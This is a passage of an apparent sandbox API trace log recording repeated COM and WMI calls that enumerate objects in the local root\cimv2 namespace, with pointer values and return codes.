pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.288] IUnknown:Release (This=0x61045fc) returned 0x3 [0067.288] IUnknown:AddRef (This=0x61045f8) returned 0x4 [0067.289] IUnknown:QueryInterface (in: This=0x61045f8, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.289] IUnknown:Release (This=0x61045f8) returned 0x3 [0067.289] IUnknown:Release (This=0x61045f8) returned 0x2 [0067.289] IUnknown:AddRef (This=0x61045f8) returned 0x3 [0067.289] IUnknown:QueryInterface (in: This=0x61045f8, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x61045f8) returned 0x0 [0067.289] IUnknown:Release (This=0x61045f8) returned 0x3 [0067.289] IUnknown:Release (This=0x61045f8) returned 0x2 [0067.289] IUnknown:Release (This=0x61045f8) returned 0x1 [0067.289] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.289] IUnknown:AddRef (This=0x61045f8) returned 0x2 [0067.289] IWbemClassObject:Get (in: This=0x61045f8, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.289] IWbemClassObject:Get (in: This=0x61045f8, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.289] IWbemClassObject:Get (in: This=0x61045f8, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.289] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.289] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.289] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.289] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.290] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6104790, puReturned=0x2e27944*=0x1) returned 0x0 [0067.290] IUnknown:QueryInterface (in: This=0x6104790, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6104790) returned 0x0 [0067.291] IUnknown:QueryInterface (in: This=0x6104790, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.291] IUnknown:QueryInterface (in: This=0x6104790, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.291] IUnknown:AddRef (This=0x6104790) returned 0x3 [0067.291] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.291] IWbemClassObject:Get (in: This=0x6104790, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.291] IWbemClassObject:Get (in: This=0x6104790, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.291] IWbemClassObject:Get (in: This=0x6104790, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.291] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.291] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.291] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.291] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.291] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6104928, puReturned=0x2e27944*=0x1) returned 0x0 [0067.292] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.292] IWbemClassObject:Get (in: This=0x6104928, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.292] IWbemClassObject:Get (in: This=0x6104928, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.292] IWbemClassObject:Get (in: This=0x6104928, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.292] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.292] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.292] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.292] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.292] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6104ac0, puReturned=0x2e27944*=0x1) returned 0x0 [0067.293] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.293] IWbemClassObject:Get (in: This=0x6104ac0, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.293] IWbemClassObject:Get (in: This=0x6104ac0, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.293] IWbemClassObject:Get (in: This=0x6104ac0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.294] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.294] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.294] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.294] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.294] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6104c58, puReturned=0x2e27944*=0x1) returned 0x0 [0067.294] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.295] IWbemClassObject:Get (in: This=0x6104c58, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.295] IWbemClassObject:Get (in: This=0x6104c58, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.295] IWbemClassObject:Get (in: This=0x6104c58, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.295] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.295] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.295] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.295] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.295] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6104df0, puReturned=0x2e27944*=0x1) returned 0x0 [0067.296] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.296] IWbemClassObject:Get (in: This=0x6104df0, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.296] IWbemClassObject:Get (in: This=0x6104df0, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.296] IWbemClassObject:Get (in: This=0x6104df0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.296] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.296] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.296] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.296] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.297] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6104f88, puReturned=0x2e27944*=0x1) returned 0x0 [0067.297] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.297] IWbemClassObject:Get (in: This=0x6104f88, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.297] IWbemClassObject:Get (in: This=0x6104f88, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.298] IWbemClassObject:Get (in: This=0x6104f88, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.298] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.298] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.298] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.298] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.298] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6105120, puReturned=0x2e27944*=0x1) returned 0x0 [0067.299] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.299] IWbemClassObject:Get (in: This=0x6105120, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.299] IWbemClassObject:Get (in: This=0x6105120, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.299] IWbemClassObject:Get (in: This=0x6105120, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.299] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.299] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.299] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.299] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.299] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x61052b8, puReturned=0x2e27944*=0x1) returned 0x0 [0067.300] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.300] IWbemClassObject:Get (in: This=0x61052b8, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.300] IWbemClassObject:Get (in: This=0x61052b8, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.300] IWbemClassObject:Get (in: This=0x61052b8, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.300] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.300] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.300] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.300] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.300] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6105450, puReturned=0x2e27944*=0x1) returned 0x0 [0067.301] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.301] IWbemClassObject:Get (in: This=0x6105450, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.301] IWbemClassObject:Get (in: This=0x6105450, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.301] IWbemClassObject:Get (in: This=0x6105450, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.301] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.301] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.301] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.301] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.301] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x61055e8, puReturned=0x2e27944*=0x1) returned 0x0 [0067.302] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.302] IWbemClassObject:Get (in: This=0x61055e8, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.302] IWbemClassObject:Get (in: This=0x61055e8, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.302] IWbemClassObject:Get (in: This=0x61055e8, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: 